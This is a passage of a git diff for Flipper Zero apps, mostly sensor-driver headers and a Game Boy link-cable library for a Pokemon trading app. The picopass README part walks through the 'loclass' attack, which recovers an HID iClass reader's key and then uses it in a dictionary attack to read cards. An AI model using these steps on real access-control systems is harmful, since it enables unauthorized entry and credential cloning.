GyroFullScale15_625DPS, + GyroFullScaleTotal, +} ICM42688PGyroFullScale; + +typedef struct { + int16_t x; + int16_t y; + int16_t z; +} __attribute__((packed)) ICM42688PRawData; + +typedef struct { + uint8_t header; + int16_t a_x; + int16_t a_y; + int16_t a_z; + int16_t g_x; + int16_t g_y; + int16_t g_z; + uint8_t temp; + uint16_t ts; +} __attribute__((packed)) ICM42688PFifoPacket; + +typedef struct { + float x; + float y; + float z; +} ICM42688PScaledData; + +typedef struct ICM42688P ICM42688P; + +typedef void (*ICM42688PIrqCallback)(void* ctx); + +ICM42688P* icm42688p_alloc(FuriHalSpiBusHandle* spi_bus, const GpioPin* irq_pin); + +bool icm42688p_init(ICM42688P* icm42688p); + +bool icm42688p_deinit(ICM42688P* icm42688p); + +void icm42688p_free(ICM42688P* icm42688p); + +bool icm42688p_accel_config( + ICM42688P* icm42688p, + ICM42688PAccelFullScale full_scale, + ICM42688PDataRate rate); + +float icm42688p_accel_get_full_scale(ICM42688P* icm42688p); + +bool icm42688p_gyro_config( + ICM42688P* icm42688p, + ICM42688PGyroFullScale full_scale, + ICM42688PDataRate rate); + +float icm42688p_gyro_get_full_scale(ICM42688P* icm42688p); + +bool icm42688p_read_accel_raw(ICM42688P* icm42688p, ICM42688PRawData* data); + +bool icm42688p_read_gyro_raw(ICM42688P* icm42688p, ICM42688PRawData* data); + +bool icm42688p_write_gyro_offset(ICM42688P* icm42688p, ICM42688PScaledData* scaled_data); + +void icm42688p_apply_scale(ICM42688PRawData* raw_data, float full_scale, ICM42688PScaledData* data); + +void icm42688p_apply_scale_fifo( + ICM42688P* icm42688p, + ICM42688PFifoPacket* fifo_data, + ICM42688PScaledData* accel_data, + ICM42688PScaledData* gyro_data); + +float icm42688p_read_temp(ICM42688P* icm42688p); + +void icm42688_fifo_enable( + ICM42688P* icm42688p, + ICM42688PIrqCallback irq_callback, + void* irq_context); + +void icm42688_fifo_disable(ICM42688P* icm42688p); + +uint16_t icm42688_fifo_get_count(ICM42688P* icm42688p); + +bool icm42688_fifo_read(ICM42688P* icm42688p, ICM42688PFifoPacket* data); + +#ifdef __cplusplus +} +#endif \ No newline at end of file diff --git a/applications/external/motion_mouse/sensors/ICM42688P_regs.h b/applications/external/motion_mouse/sensors/ICM42688P_regs.h new file mode 100644 index 00000000000..1967534df1d --- /dev/null +++ b/applications/external/motion_mouse/sensors/ICM42688P_regs.h @@ -0,0 +1,176 @@ +#pragma once + +#define ICM42688_WHOAMI 0x47 + +// Bank 0 +#define ICM42688_DEVICE_CONFIG 0x11 +#define ICM42688_DRIVE_CONFIG 0x13 +#define ICM42688_INT_CONFIG 0x14 +#define ICM42688_FIFO_CONFIG 0x16 +#define ICM42688_TEMP_DATA1 0x1D +#define ICM42688_TEMP_DATA0 0x1E +#define ICM42688_ACCEL_DATA_X1 0x1F +#define ICM42688_ACCEL_DATA_X0 0x20 +#define ICM42688_ACCEL_DATA_Y1 0x21 +#define ICM42688_ACCEL_DATA_Y0 0x22 +#define ICM42688_ACCEL_DATA_Z1 0x23 +#define ICM42688_ACCEL_DATA_Z0 0x24 +#define ICM42688_GYRO_DATA_X1 0x25 +#define ICM42688_GYRO_DATA_X0 0x26 +#define ICM42688_GYRO_DATA_Y1 0x27 +#define ICM42688_GYRO_DATA_Y0 0x28 +#define ICM42688_GYRO_DATA_Z1 0x29 +#define ICM42688_GYRO_DATA_Z0 0x2A +#define ICM42688_TMST_FSYNCH 0x2B +#define ICM42688_TMST_FSYNCL 0x2C +#define ICM42688_INT_STATUS 0x2D +#define ICM42688_FIFO_COUNTH 0x2E +#define ICM42688_FIFO_COUNTL 0x2F +#define ICM42688_FIFO_DATA 0x30 +#define ICM42688_APEX_DATA0 0x31 +#define ICM42688_APEX_DATA1 0x32 +#define ICM42688_APEX_DATA2 0x33 +#define ICM42688_APEX_DATA3 0x34 +#define ICM42688_APEX_DATA4 0x35 +#define ICM42688_APEX_DATA5 0x36 +#define ICM42688_INT_STATUS2 0x37 +#define ICM42688_INT_STATUS3 0x38 +#define ICM42688_SIGNAL_PATH_RESET 0x4B +#define ICM42688_INTF_CONFIG0 0x4C +#define ICM42688_INTF_CONFIG1 0x4D +#define ICM42688_PWR_MGMT0 0x4E +#define ICM42688_GYRO_CONFIG0 0x4F +#define ICM42688_ACCEL_CONFIG0 0x50 +#define ICM42688_GYRO_CONFIG1 0x51 +#define ICM42688_GYRO_ACCEL_CONFIG0 0x52 +#define ICM42688_ACCEL_CONFIG1 0x53 +#define ICM42688_TMST_CONFIG 0x54 +#define ICM42688_APEX_CONFIG0 0x56 +#define ICM42688_SMD_CONFIG 0x57 +#define ICM42688_FIFO_CONFIG1 0x5F +#define ICM42688_FIFO_CONFIG2 0x60 +#define ICM42688_FIFO_CONFIG3 0x61 +#define ICM42688_FSYNC_CONFIG 0x62 +#define ICM42688_INT_CONFIG0 0x63 +#define ICM42688_INT_CONFIG1 0x64 +#define ICM42688_INT_SOURCE0 0x65 +#define ICM42688_INT_SOURCE1 0x66 +#define ICM42688_INT_SOURCE3 0x68 +#define ICM42688_INT_SOURCE4 0x69 +#define ICM42688_FIFO_LOST_PKT0 0x6C +#define ICM42688_FIFO_LOST_PKT1 0x6D +#define ICM42688_SELF_TEST_CONFIG 0x70 +#define ICM42688_WHO_AM_I 0x75 +#define ICM42688_REG_BANK_SEL 0x76 + +// Bank 1 +#define ICM42688_SENSOR_CONFIG0 0x03 +#define ICM42688_GYRO_CONFIG_STATIC2 0x0B +#define ICM42688_GYRO_CONFIG_STATIC3 0x0C +#define ICM42688_GYRO_CONFIG_STATIC4 0x0D +#define ICM42688_GYRO_CONFIG_STATIC5 0x0E +#define ICM42688_GYRO_CONFIG_STATIC6 0x0F +#define ICM42688_GYRO_CONFIG_STATIC7 0x10 +#define ICM42688_GYRO_CONFIG_STATIC8 0x11 +#define ICM42688_GYRO_CONFIG_STATIC9 0x12 +#define ICM42688_GYRO_CONFIG_STATIC10 0x13 +#define ICM42688_XG_ST_DATA 0x5F +#define ICM42688_YG_ST_DATA 0x60 +#define ICM42688_ZG_ST_DATA 0x61 +#define ICM42688_TMSTVAL0 0x62 +#define ICM42688_TMSTVAL1 0x63 +#define ICM42688_TMSTVAL2 0x64 +#define ICM42688_INTF_CONFIG4 0x7A +#define ICM42688_INTF_CONFIG5 0x7B +#define ICM42688_INTF_CONFIG6 0x7C + +// Bank 2 +#define ICM42688_ACCEL_CONFIG_STATIC2 0x03 +#define ICM42688_ACCEL_CONFIG_STATIC3 0x04 +#define ICM42688_ACCEL_CONFIG_STATIC4 0x05 +#define ICM42688_XA_ST_DATA 0x3B +#define ICM42688_YA_ST_DATA 0x3C +#define ICM42688_ZA_ST_DATA 0x3D + +// Bank 4 +#define ICM42688_APEX_CONFIG1 0x40 +#define ICM42688_APEX_CONFIG2 0x41 +#define ICM42688_APEX_CONFIG3 0x42 +#define ICM42688_APEX_CONFIG4 0x43 +#define ICM42688_APEX_CONFIG5 0x44 +#define ICM42688_APEX_CONFIG6 0x45 +#define ICM42688_APEX_CONFIG7 0x46 +#define ICM42688_APEX_CONFIG8 0x47 +#define ICM42688_APEX_CONFIG9 0x48 +#define ICM42688_ACCEL_WOM_X_THR 0x4A +#define ICM42688_ACCEL_WOM_Y_THR 0x4B +#define ICM42688_ACCEL_WOM_Z_THR 0x4C +#define ICM42688_INT_SOURCE6 0x4D +#define ICM42688_INT_SOURCE7 0x4E +#define ICM42688_INT_SOURCE8 0x4F +#define ICM42688_INT_SOURCE9 0x50 +#define ICM42688_INT_SOURCE10 0x51 +#define ICM42688_OFFSET_USER0 0x77 +#define ICM42688_OFFSET_USER1 0x78 +#define ICM42688_OFFSET_USER2 0x79 +#define ICM42688_OFFSET_USER3 0x7A +#define ICM42688_OFFSET_USER4 0x7B +#define ICM42688_OFFSET_USER5 0x7C +#define ICM42688_OFFSET_USER6 0x7D +#define ICM42688_OFFSET_USER7 0x7E +#define ICM42688_OFFSET_USER8 0x7F + +// PWR_MGMT0 +#define ICM42688_PWR_TEMP_ON (0 << 5) +#define ICM42688_PWR_TEMP_OFF (1 << 5) +#define ICM42688_PWR_IDLE (1 << 4) +#define ICM42688_PWR_GYRO_MODE_OFF (0 << 2) +#define ICM42688_PWR_GYRO_MODE_LN (3 << 2) +#define ICM42688_PWR_ACCEL_MODE_OFF (0 << 0) +#define ICM42688_PWR_ACCEL_MODE_LP (2 << 0) +#define ICM42688_PWR_ACCEL_MODE_LN (3 << 0) + +// GYRO_CONFIG0 +#define ICM42688_GFS_2000DPS (0x00 << 5) +#define ICM42688_GFS_1000DPS (0x01 << 5) +#define ICM42688_GFS_500DPS (0x02 << 5) +#define ICM42688_GFS_250DPS (0x03 << 5) +#define ICM42688_GFS_125DPS (0x04 << 5) +#define ICM42688_GFS_62_5DPS (0x05 << 5) +#define ICM42688_GFS_31_25DPS (0x06 << 5) +#define ICM42688_GFS_15_625DPS (0x07 << 5) + +#define ICM42688_GODR_32kHz 0x01 +#define ICM42688_GODR_16kHz 0x02 +#define ICM42688_GODR_8kHz 0x03 +#define ICM42688_GODR_4kHz 0x04 +#define ICM42688_GODR_2kHz 0x05 +#define ICM42688_GODR_1kHz 0x06 +#define ICM42688_GODR_200Hz 0x07 +#define ICM42688_GODR_100Hz 0x08 +#define ICM42688_GODR_50Hz 0x09 +#define ICM42688_GODR_25Hz 0x0A +#define ICM42688_GODR_12_5Hz 0x0B +#define ICM42688_GODR_500Hz 0x0F + +// ACCEL_CONFIG0 +#define ICM42688_AFS_16G (0x00 << 5) +#define ICM42688_AFS_8G (0x01 << 5) +#define ICM42688_AFS_4G (0x02 << 5) +#define ICM42688_AFS_2G (0x03 << 5) + +#define ICM42688_AODR_32kHz 0x01 +#define ICM42688_AODR_16kHz 0x02 +#define ICM42688_AODR_8kHz 0x03 +#define ICM42688_AODR_4kHz 0x04 +#define ICM42688_AODR_2kHz 0x05 +#define ICM42688_AODR_1kHz 0x06 +#define ICM42688_AODR_200Hz 0x07 +#define ICM42688_AODR_100Hz 0x08 +#define ICM42688_AODR_50Hz 0x09 +#define ICM42688_AODR_25Hz 0x0A +#define ICM42688_AODR_12_5Hz 0x0B +#define ICM42688_AODR_6_25Hz 0x0C +#define ICM42688_AODR_3_125Hz 0x0D +#define ICM42688_AODR_1_5625Hz 0x0E +#define ICM42688_AODR_500Hz 0x0F diff --git a/applications/external/nfc_magic/.catalog/changelog.md b/applications/external/nfc_magic/.catalog/changelog.md new file mode 100644 index 00000000000..7fbac24389c --- /dev/null +++ b/applications/external/nfc_magic/.catalog/changelog.md @@ -0,0 +1,11 @@ +## 1.3 + - Fix incorrect gen4 password usage + +## 1.2 + - Minimal changes for recent API updates + +## 1.1 + - Rework application with new NFC API + +## 1.0 + - Initial release diff --git a/applications/external/picopass/.catalog/README.md b/applications/external/picopass/.catalog/README.md index 173702d25b2..af678273b94 100644 --- a/applications/external/picopass/.catalog/README.md +++ b/applications/external/picopass/.catalog/README.md @@ -3,19 +3,17 @@ This application allows you to read, write, save, and emulate legacy HID iClass cards and fobs (based on the picopass chipset). Also supports saving the credential to the Flipper Zero LFRFID data format, changing the keys on the card, performing dictionary attack, and performing the 'online' part of the loclass attack. -NOTE: Does not support iClass SE - # Loclass -The loclass attack emulates specific CSN and collects responses from the reader which can be used to calculate the elite or custom key configured for that reader. This key is then used to read data on the cards used with that reader. +The loclass attack emulates specific CSN and collects responses from the reader which can be used to calculate the elite or (some) custom key configured for that reader. This key is then used to read data on the cards used with that reader. ## Online part 1. Run _loclass_ from the picopass main menu -2. Present the flipper to the reader. +2. Present the flipper to the reader. Holding flipper directly to reader may not work, vary distance by a few inches. 3. Collect responses until the progress bar is full. -NOTE: If the screen says “Got std key†AND stays on 0/18, the reader is not elite or custom keyed. +NOTE: If the screen says “Got std key†AND stays on 0/18, then loclass isn't needed. ## Offline part @@ -24,3 +22,11 @@ NOTE: If the screen says “Got std key†AND stays on 0/18, the reader is not 3. Copy the key to _iclass_elite_dict_user.txt_ and place in _sdcard/apps_data/picopass/_ 4. Run _Elite Dict. Attack_ from the picopass main menu 5. Present card to the back of the Flipper Zero. + +## Failure + +There are some situations when the offline loclass may not find a key, such as: + * iClass SE + * Readers configured with Standard-2 keyset + * Custom keyed readers using Standard KDF + * Custom keyed readers using SE KDF diff --git a/applications/external/picopass/.catalog/changelog.md b/applications/external/picopass/.catalog/changelog.md index 800263d9a12..6008b87fe70 100644 --- a/applications/external/picopass/.catalog/changelog.md +++ b/applications/external/picopass/.catalog/changelog.md @@ -1,3 +1,12 @@ +## 1.9 + - Fix bug (#77) with loclass + - Better loclass notes + - Read card using nr-mac + - Save as Seader format +## 1.8 + - Minimal changes for recent API updates +## 1.7 + - Rework application with new NFC API ## 1.6 - Faster loclass response collection - Save as LF for all bit lengths diff --git a/applications/external/pkmn_trader/README.md b/applications/external/pkmn_trader/README.md index aa30756fb0f..56a09e4ed8f 100644 --- a/applications/external/pkmn_trader/README.md +++ b/applications/external/pkmn_trader/README.md @@ -20,6 +20,22 @@ This is a Pokemon exchange application from Flipper Zero to Game Boy [(Generacti It currently trades a Pokemon based on your choice of Pokemon, Level, Stats and 4 Moves. +## Hardware Interface +The Game Boy is connected to the Flipper Zero's GPIO pins via a GBC style Game Link Cable. The [Flipper GB Link module](https://www.tindie.com/products/kbembedded/game-link-gpio-module-for-flipper-zero-game-boy/) is an easy way to connect a Game Boy via a Game Link Cable to the Flipper Zero. +

+I sell on Tindie +

+ +Additionally, the [MALVEKE - GAME BOY Tools for Flipper Zero](https://www.tindie.com/products/efuentealba/malveke-game-boy-tools-for-flipper-zero/) is supported by this tool. + +

+I sell on Tindie +

+ +Additionally, the [MALVEKE - GAME BOY Tools for Flipper Zero](https://www.tindie.com/products/efuentealba/malveke-game-boy-tools-for-flipper-zero/) is supported by this tool. + +Details on the hardware interface, as well as how to create your own adapter board, can be found in the [How Does It Work](#how-does-it-work) section below. + ## Installation Directions This project is intended to be overlaid on top of an existing firmware repo, in my case the **Release 0.79.1** version. @@ -48,6 +64,7 @@ And use [**qFlipper**](https://flipperzero.one/update) to copy the generated **p These instructions assume that you are starting at the Flipper Zero desktop. Otherwise, press the Back button until you are at the desktop. +- If using a MALVEKE board, plug it in to the GPIO header now. The app will auto-detect and select the correct pinout to support the MALVEKE EXT1 interface. If using the Flipper GB Link board, or any other pinout, they can be connected to the Flipper Zero now, or at any point in the future. - Press the `OK` button on the Flipper to open the main menu. - Choose `Applications` from the menu. - Choose `GPIO` from the submenu. @@ -254,7 +271,7 @@ You can learn more about it in the following video. [**Analyzing the Different V ## Board for Flipper Zero with PortData EXT Link. -For the Flipper Zero board, a [PortData EXT Link](https://es.aliexpress.com/item/1005004116983895.html) and a 2x8 [prototype board](https://es.aliexpress.com/item/32478242317.html) were used. +For the Flipper Zero board, a [PortData EXT Link](https://s.click.aliexpress.com/e/_Dm3EqlR) and a 2x8 [prototype board](https://s.click.aliexpress.com/e/_DETrjpL) were used.


diff --git a/applications/external/pkmn_trader/README_catalog.md b/applications/external/pkmn_trader/README_catalog.md index a8a607be430..7f14abd8a2d 100644 --- a/applications/external/pkmn_trader/README_catalog.md +++ b/applications/external/pkmn_trader/README_catalog.md @@ -2,14 +2,16 @@ ## Introduction +Now supports MALVEKE board! + This is a Pokemon exchange application from Flipper Zero to Game Boy (Generación I). Flipper Zero emulates a "Slave" Game Boy connected to a Game Link Cable to be able to exchange any Pokemon from the First Generation (Red, Blue, Yellow) to a real Game Boy. -It is a Proof of Concept (POC) for using views, GPIO, and FURI (Flipper Universal Registry Implementation). +If a MALVEKE board is plugged in to GPIO before starting the app, the app will default to using the MALVEKE EXT1 interface. ## Connection: Flipper Zero GPIO - Game Boy -The pins should be connected as follows: +The original pinout is as follows: | Cable Game Link (Socket) | Flipper Zero GPIO | | ------------------------ | ----------------- | @@ -18,6 +20,9 @@ The pins should be connected as follows: | 3 (SI) | 7 (C3) | | 2 (SO) | 5 (B3) | +Using the "Select Pinout" option, the Original, MALVEKE, or any custom pin configuration can be selected. + + ## How does it work? The method used to communicate 2 Game Boys is based on the SPI protocol, which is a very simple serial communication protocol in which a master device communicates with one or more slave devices. The protocol is bidirectional and synchronous, and uses three basic signals: @@ -34,5 +39,3 @@ The Game Boy link protocol is synchronous and requires the slave device to respo ## Tested In - Game Boy Color (GBC) - Game Boy Advance (GBA) - - diff --git a/applications/external/pkmn_trader/application.fam b/applications/external/pkmn_trader/application.fam index 98ab948f158..d4dd6ed10e8 100644 --- a/applications/external/pkmn_trader/application.fam +++ b/applications/external/pkmn_trader/application.fam @@ -4,14 +4,21 @@ App( apptype=FlipperAppType.EXTERNAL, entry_point="pokemon_app", stack_size=2 * 1024, + fap_private_libs=[ + Lib( + name="flipper_gblink", + sources=["gblink.c"], + ), + ], fap_category="GPIO", fap_icon="pokemon_10px.png", fap_icon_assets="assets", fap_icon_assets_symbol="pokemon", fap_author="EstebanFuentealba & kbembedded", # Plus research / work from kbembedded and R4g3D + # fap_author="Esteban Fuentealba, Kris Bahnsen, Darryn Cull", fap_weburl="https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Pokemon-Trading", - fap_version=(1, 4), - fap_description="Pokemon exchange application from Flipper Zero to Game Boy (Generaction I). Flipper Zero emulates a Slave Game Boy connected to a Game Link Cable to be able to exchange any Pokemon from the First Generation (Red, Blue, Yellow) to a real Game Boy.", + fap_version=(1, 5), + fap_description="Pokemon exchange from Flipper Zero to Game Boy for Generation I (Pokemon Red, Blue, Yellow). Flipper Zero emulates a Slave Game Boy connected to a Game Link Cable to be able to exchange any Pokemon from the First Generation (Red, Blue, Yellow) to a real Game Boy.", # [Extended Functionality #17 (By R4g3D)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Pokemon-Trading/pull/17) # [Refactor, UI update, Feature add #14 (By kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Pokemon-Trading/pull/14) ) diff --git a/applications/external/pkmn_trader/changelog.md b/applications/external/pkmn_trader/changelog.md index 9bf44963cf9..39f6232fbd6 100644 --- a/applications/external/pkmn_trader/changelog.md +++ b/applications/external/pkmn_trader/changelog.md @@ -1,5 +1,9 @@ # Changelog - Patch Notes +## Version 1.5 +- **Add Features:** Incorporate flipper-gblink library; Add support for MALVEKE board as well as custom pin selection; If MALVEKE board is detected, default to that pinout, otherwise use the original documented pinout. +- **BUG:** The current MALVEKE pinout and interrupt use breaks the OK button after entering the trade screen. + ## Version 1.4 - **Bug Fixes:** More robust trade logic fixes issues with names, remove ability to use numbers in Pokemon/Trainer names as the game itself will not allow that, fix trade animation not always being animated, make FAP icon 1bpp. - **Add Features:** Implement trade patch list that Game Boy expects and uses, add ability to return to main menu to modify a Pokemon traded to the Flipper and re-enter trade without the Game Boy needing to power cycle and re-connect through the Link Club, add back debug logging. diff --git a/applications/external/pkmn_trader/lib/flipper_gblink/LICENSE b/applications/external/pkmn_trader/lib/flipper_gblink/LICENSE new file mode 100644 index 00000000000..10f2a7c3816 --- /dev/null +++ b/applications/external/pkmn_trader/lib/flipper_gblink/LICENSE @@ -0,0 +1,24 @@ +BSD 2-Clause License + +Copyright (c) 2023, KBEmbedded + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/applications/external/pkmn_trader/lib/flipper_gblink/README.md b/applications/external/pkmn_trader/lib/flipper_gblink/README.md new file mode 100644 index 00000000000..ae8a3e07328 --- /dev/null +++ b/applications/external/pkmn_trader/lib/flipper_gblink/README.md @@ -0,0 +1,39 @@ +# Flipper Game Boy Game Link Cable API +Simple API that can be included in projects to provide a flexible and easy way to handle data exchange over a Game Link Cable. + +Current Version: 0.5 + +Available from: https://github.com/kbembedded/flipper-gblink + + +## Current feature status and future roadmap: +- [x] Ability to use EXT clock source. i.e. connected device drives the clock line +- [x] Callback on byte transfer completion +- [x] Flexibility in IO pin selection at alloc time +- [x] Ability to enable and disable interrupt on input clock +- [x] Ability to set timeout in microseconds between clock edges. If exceeded, it is assumed the next clock is the first bit of a byte +- [x] Set a NO\_DATA\_BYTE pattern. i.e. after a byte transfer is complete, a default byte is prepared to be sent out if no new data is provided before the transfer starts +- [x] Supports communication to GBC +- [x] Supports communication to GBA using GBC games +- [ ] Supports communication to GB (untested, but should work) +- [ ] Supports communication to GBA using GBA games +- [ ] Function as INT clock source. i.e. Flipper Zero drives the clock line +- [ ] Drive clock at varying speeds as GBC supports +- [ ] Proper documentation + +## Use example +See https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Pokemon-Trading + +To include this in a Flipper Zero application, add this repo as a submodule in the `lib/` directory of the application source. Then add the following to `application.fam`: +``` +App( +... + fap_private_libs=[ + Lib( + name="flipper-gblink", + sources=["gblink.c"], + ), + ], +... +) +``` diff --git a/applications/external/pkmn_trader/lib/flipper_gblink/gblink.c b/applications/external/pkmn_trader/lib/flipper_gblink/gblink.c new file mode 100644 index 00000000000..83ecf63751a --- /dev/null +++ b/applications/external/pkmn_trader/lib/flipper_gblink/gblink.c @@ -0,0 +1,248 @@ +// SPDX-License-Identifier: BSD-2-Clause +// Copyright (c) 2023 KBEmbedded + +#include +#include + +#include + +#include "gblink.h" + +const struct gblink_pins common_pinouts[PINOUT_COUNT] = { + /* Original */ + { + &gpio_ext_pc3, + &gpio_ext_pb3, + &gpio_ext_pb2, + &gpio_ext_pa4, + }, + /* MALVEKE EXT1 */ + { + &gpio_ext_pa6, + &gpio_ext_pa7, + &gpio_ext_pb3, + &gpio_ext_pa4, + }, +}; + +struct gblink { + const GpioPin *serin; + const GpioPin *serout; + const GpioPin *clk; + const GpioPin *sd; + + uint8_t in; + uint8_t out; + uint8_t out_buf; + bool out_buf_valid; + uint8_t shift; + uint8_t nobyte; + gblink_clk_source source; + gblink_mode mode; + gblink_speed speed; + + uint32_t time; + + uint32_t bitclk_timeout_us; + /* Clocks idle between bytes is nominally 430 us long for burst data, + * 15 ms for idle polling (e.g. waiting for menu selection), some oddball + * 2 ms gaps that appears between one 0xFE byte from the Game Boy every trade; + * clock period is nominally 122 us. + * Therefore, if we haven't seen a clock in 500 us, reset our bit counter. + * Note that, this should never actually be a concern, but it is an additional + * safeguard against desyncing. + */ + + void (*callback)(void* cb_context, uint8_t in); + void *cb_context; +}; + +static void gblink_shift_in(struct gblink *gblink) +{ + const uint32_t time_ticks = furi_hal_cortex_instructions_per_microsecond() * gblink->bitclk_timeout_us; + + /* If we exceeded the bit clock timeout, reset all counters */ + if ((DWT->CYCCNT - gblink->time) > time_ticks) { + gblink->in = 0; + gblink->shift = 0; + } + gblink->time = DWT->CYCCNT; + + gblink->in <<= 1; + gblink->in |= furi_hal_gpio_read(gblink->serin); + gblink->shift++; + /* If 8 bits transfered, reset shift counter, call registered + * callback, re-set nobyte in output buffer. + */ + if (gblink->shift == 8) { + gblink->shift = 0; + + /* Set up next out byte before calling the callback. + * This is in case the callback itself sets a new out + * byte which it will in most cases. It is up to the + * main application at this time to ensure that + * gblink_transfer() isn't called multiple times before + * a byte has a chance to be sent out. + */ + if (gblink->out_buf_valid) { + gblink->out = gblink->out_buf; + gblink->out_buf_valid = false; + } else { + gblink->out = gblink->nobyte; + } + gblink->callback(gblink->cb_context, gblink->in); + } +} + +static void gblink_shift_out(struct gblink *gblink) +{ + furi_hal_gpio_write(gblink->serout, !!(gblink->out & 0x80)); + gblink->out <<= 1; +} + +static void gblink_clk_callback(void *context) +{ + furi_assert(context); + struct gblink *gblink = context; + + if (furi_hal_gpio_read(gblink->clk)) { + /* Posedge Shift in data */ + gblink_shift_in(gblink); + } else { + /* Negedge shift out data */ + gblink_shift_out(gblink); + } +} + +void gblink_clk_source_set(void *handle, int source) +{ + furi_assert(handle); + struct gblink *gblink = handle; + + gblink->source = source; + gblink->shift = 0; +} + +void gblink_speed_set(void *handle, gblink_speed speed) +{ + furi_assert(handle); + struct gblink *gblink = handle; + + gblink->speed = speed; +} + +/* default is set to 500 us */ +void gblink_timeout_set(void *handle, uint32_t us) +{ + furi_assert(handle); + struct gblink *gblink = handle; + + gblink->bitclk_timeout_us = us; +} + +void gblink_transfer(void *handle, uint8_t val) +{ + furi_assert(handle); + struct gblink *gblink = handle; + + /* This checks the value of gblink->shift which can change in the ISR. + * Because of that, disable interrupts when checking gblink->shift and + * setting gblink->out_buf_valid + * If shift is 0, we're between bytes and can safely set the out byte. + * If shift is nonzero, a byte is currently being transmitted. Set the + * out_buf and set out_buf_valid. When the ISR is finished writing the + * next byte it will check out_buf_valid and copy in out_buf. + * + * Realistically, this should only ever be called from the transfer + * complete callback. There are few situations outside of that which + * would make sense. + * + * Note that, this currently has no checks for if there is data already + * pending to be transmitted. Calling this back to back can cause data + * loss! + */ + FURI_CRITICAL_ENTER(); + if (gblink->shift == 0) { + gblink->out = val; + gblink->out_buf_valid = false; + } else { + gblink->out_buf = val; + gblink->out_buf_valid = true; + } + FURI_CRITICAL_EXIT(); +} + +void gblink_nobyte_set(void *handle, uint8_t val) +{ + struct gblink *gblink = handle; + gblink->nobyte = val; +} + +void gblink_int_enable(void *handle) +{ + furi_assert(handle); + struct gblink *gblink = handle; + + furi_hal_gpio_enable_int_callback(gblink->clk); +} + +void gblink_int_disable(void *handle) +{ + furi_assert(handle); + struct gblink *gblink = handle; + + furi_hal_gpio_disable_int_callback(gblink->clk); +} + +void *gblink_alloc(struct gblink_def *gblink_def) +{ + struct gblink *gblink; + + /* Allocate and zero struct */ + gblink = malloc(sizeof(struct gblink)); + + /* Set struct values from function args */ + gblink->serin = gblink_def->pins->serin; + gblink->serout = gblink_def->pins->serout; + gblink->clk = gblink_def->pins->clk; + gblink->sd = gblink_def->pins->sd; + gblink->source = gblink_def->source; + gblink->speed = GBLINK_SPD_8192HZ; + + /* Set up timeout variables */ + gblink->bitclk_timeout_us = 500; + gblink->time = DWT->CYCCNT; + + /* Set up secondary callback */ + gblink->callback = gblink_def->callback; + gblink->cb_context = gblink_def->cb_context; + + /* Set up pins */ + /* Currently assumes external clock source only */ + /* XXX: This might actually be open-drain on real GB hardware */ + furi_hal_gpio_write(gblink->serout, false); + furi_hal_gpio_init(gblink->serout, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); + furi_hal_gpio_write(gblink->serin, false); + furi_hal_gpio_init(gblink->serin, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); + furi_hal_gpio_init(gblink->clk, GpioModeInterruptRiseFall, GpioPullUp, GpioSpeedVeryHigh); + + /* Set up interrupt on clock */ + /* This may not be needed after NFC refactor */ + furi_hal_gpio_remove_int_callback(gblink->clk); + furi_hal_gpio_add_int_callback(gblink->clk, gblink_clk_callback, gblink); + + return gblink; +} + +void gblink_free(void *handle) +{ + furi_assert(handle); + struct gblink *gblink = handle; + + /* Remove interrupt, set IO to sane state */ + furi_hal_gpio_remove_int_callback(gblink->clk); + furi_hal_gpio_init_simple(gblink->serin, GpioModeAnalog); + furi_hal_gpio_init_simple(gblink->serout, GpioModeAnalog); + furi_hal_gpio_init_simple(gblink->clk, GpioModeAnalog); + free(gblink); +} diff --git a/applications/external/pkmn_trader/lib/flipper_gblink/gblink.h b/applications/external/pkmn_trader/lib/flipper_gblink/gblink.h new file mode 100644 index 00000000000..80b6520ef54 --- /dev/null +++ b/applications/external/pkmn_trader/lib/flipper_gblink/gblink.h @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: BSD-2-Clause +// Copyright (c) 2023 KBEmbedded + +#ifndef __GBLINK_H__ +#define __GBLINK_H__ + +#pragma once + +#include +#include +#include + +typedef enum { + /* Flipper drives the clock line */ + /* Unsupported at this time */ + GBLINK_INTERNAL_CLK, + /* Game Boy drives the clock line */ + GBLINK_EXTERNAL_CLK, +} gblink_clk_source; + +/* Currently unused */ +typedef enum { + GBLINK_MODE_GBC, + GBLINK_MODE_GBA, +} gblink_mode; + +/* Should this just be a macro? */ +/* This pretty much only applies to GBC, OG GB is 8192 Hz only */ +/* This is only for TX */ +typedef enum { + GBLINK_SPD_8192HZ, + GBLINK_SPD_16384HZ, + GBLINK_SPD_262144HZ, + GBLINK_SPD_524288HZ, +} gblink_speed; + +struct gblink_pins { + const GpioPin *serin; + const GpioPin *serout; + const GpioPin *clk; + const GpioPin *sd; +}; + +typedef enum { + PINOUT_ORIGINAL, + PINOUT_MALVEKE_EXT1, + PINOUT_COUNT, +} gblink_pinout; + +extern const struct gblink_pins common_pinouts[PINOUT_COUNT]; + +struct gblink_def { + struct gblink_pins *pins; + 